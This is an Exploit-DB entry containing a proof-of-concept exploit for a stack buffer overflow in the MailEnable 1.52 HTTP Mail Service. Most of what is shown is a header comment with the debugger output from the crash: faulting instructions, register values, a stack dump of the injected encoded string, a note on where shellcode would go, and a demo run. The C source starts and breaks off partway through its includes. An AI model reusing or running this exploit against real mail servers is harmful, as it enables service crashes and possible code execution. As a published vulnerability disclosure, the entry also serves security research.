Exploit-DB #9549
Description: MailEnable 1.52 - HTTP Mail Service Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-31
Author: fl0 fl0w

Exploit:
/*
    *MailEnable 1.52 HTTP Mail Service Stack Overflow POC Exploit(encoded comand)
    *Debugging Info
    *szAppName : MEHTTPS.EXE     szAppVer : 1.0.0.1     szModName : MEHTTPS.EXE     
    *szModVer : 1.0.0.1     offset : 00010c21
    *Files that caused error :
    *C:\DOCUME~1\Stefan\LOCALS~1\Temp\WER567c.dir00\MEHTTPS.EXE.mdmp
    *C:\DOCUME~1\Stefan\LOCALS~1\Temp\WER567c.dir00\appcompat.txt
    *
    *The problem appears when a specialy encoded 64base string is sent to the HTTP Mail Server
    *ASM instructions
    *00410C21   8917             MOV DWORD PTR DS:[EDI],EDX
    *00410C23   83C7 04          ADD EDI,4
    *00410C26   BA FFFEFE7E      MOV EDX,7EFEFEFF
    *00410C2B   8B01             MOV EAX,DWORD PTR DS:[ECX]
    *00410C2D   03D0             ADD EDX,EAX
    *00410C2F   83F0 FF          XOR EAX,FFFFFFFF
    *00410C32   33C2             XOR EAX,EDX
    *00410C34   8B11             MOV EDX,DWORD PTR DS:[ECX]
    *00410C36   83C1 04          ADD ECX,4
    *EDX=48545541
    *DS:[54516FF1]=???
    *
    *CPU registers
    *EAX 70F8FEFE
    *ECX 004212B8 mehttps.004212B8
    *EDX 48545541   
    *EBX 003B2660
    *ESP 00BB2900
    *EBP 00BB2E20 ASCII "UATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUAT
    *ESI 003B2660
    *EDI 54516FF1
    *EIP 00410C21 mehttps.00410C21
    *Stack
    *00BB2D1C   69736142          
    *00BB2D20   45542063
    *00BB2D24   55504551
    *00BB2D28   54515441
    *00BB2D2C   44555045
    *00BB2D30   45544155
    *00BB2D34   55504551
    *00BB2D38   54515441
    *00BB2D3C   44555045
    *00BB2D40   45544155
    *00BB2D44   55504551
    *00BB2D48   54515441
    *00BB2D4C   44555045
    *00BB2D50   45544155
    *00BB2D54   55504551
    *00BB2D58   54515441
    *00BB2D5C   44555045
    *00BB2D60   45544155
    *00BB2D64   55504551
    *00BB2D68   54515441
    *00BB2D6C   44555045
    *00BB2D70   45544155
    *00BB2D74   55504551
    *00BB2D78   54515441
    *00BB2D7C   44555045
    *00BB2D80   45544155
    *00BB2D84   55504551
    *00BB2D88   54515441
    *00BB2D8C   44555045
    *00BB2D90   45544155
    *00BB2D94   55504551
    *00BB2D98   54515441
    *00BB2D9C   44555045
    *00BB2DA0   45544155
    *00BB2DA4   55504551
    *00BB2DA8   54515441
    *00BB2DAC   44555045
    *00BB2DB0   45544155
    *00BB2DB4   55504551
    *00BB2DB8   54515441
    *00BB2DBC   44555045
    *00BB2DC0   45544155
    *00BB2DC4   55504551
    *00BB2DC8   54515441
    *00BB2DCC   44555045
    *00BB2DD0   45544155
    *00BB2DD4   55504551
    *00BB2DD8   54515441
    *00BB2DDC   44555045
    *00BB2DE0   45544155
    *00BB2DE4   55504551
    *00BB2DE8   54515441
    *00BB2DEC   44555045
    *00BB2DF0   45544155
    *00BB2DF4   55504551
    *00BB2DF8   54515441
    *00BB2DFC   44555045
    *00BB2E00   45544155
    *00BB2E04   55504551
    *00BB2E08   54515441
    *00BB2E0C   44555045
    *00BB2E10   45544155
    *00BB2E14   55504551
    *00BB2E18   54515441
    *00BB2E1C   44555045
    *00BB2E20   45544155
    *00BB2E24   55504551
    *00BB2E28   54515441
    *00BB2E2C   44555045
    *00BB2E30   45544155
    *00BB2E34   55504551
    *00BB2E38   54515441
    *00BB2E3C   44555045
    *00BB2E40   45544155
    *00BB2E44   55504551
    *00BB2E48   54515441
    *00BB2E4C   44555045
    *00BB2E50   45544155
    *00BB2E54   55504551
    *00BB2E58   54515441
    *00BB2E5C   44555045
    *00BB2E60   45544155
    *00BB2E64   55504551
    *00BB2E68   54515441
    *00BB2E6C   44555045
    *00BB2E70   45544155
    *00BB2E74   55504551
    *00BB2E78   54515441
    *00BB2E7C   44555045
    *00BB2E80   45544155
    *00BB2E84   55504551
    *00BB2E88   54515441
    *00BB2E8C   44555045
    *00BB2E90   45544155
    *00BB2E94   55504551
    *
    *This is the user controled area ,this is where we have to put the shellcode.
    *Access violation when writing to 0x54516FF1 ->EDI holds this address.
    *WARNING it is compiled with cygwin console ,if you run it somewere else
    *be sure to get the cygwin1.dll in the same folder as the executable.
    *It will surely work with DEV-cpp 
    *
    *DEMO
    *
    *C:\Documents and Settings\Stefan\Desktop\Mail Enable-http crash>nn.exe
    *******************************************************************************
    MailEnable 1.52 HTTP Mail Service Stack Overflow POC Exploit(encoded comand)
               Credits:fl0 fl0w

                -h       host HTTP server
                -p       port HTTP server

    *******************************************************************************
    ------------------------------------------
    You can use the following IP addresses

    Host name is .
    Address 0:192.168.1.2
    ------------------------------------------

    Host name is .
    Address 1:79.119.96.127
    ------------------------------------------

    Host name is .
    Address 2:192.168.152.1
    ------------------------------------------

    Host name is .
    Address 3:192.168.172.1
    ------------------------------------------

    Usage: nn option host option port
    C:\Documents and Settings\Stefan\Desktop\Mail Enable-http crash>nn.exe -h 127.0.0.1 -p 8080
    this program is in the directory /cygdrive/c/Documents and Settings/Stefan/Deskt
    op/Mail Enable-http crash/
    - target   127.0.0.1 : 8080
    - Done
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #ifdef WIN32
    #include <winsock.h>
    #define close   closesocket
    #define sleep   Sleep
    #else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h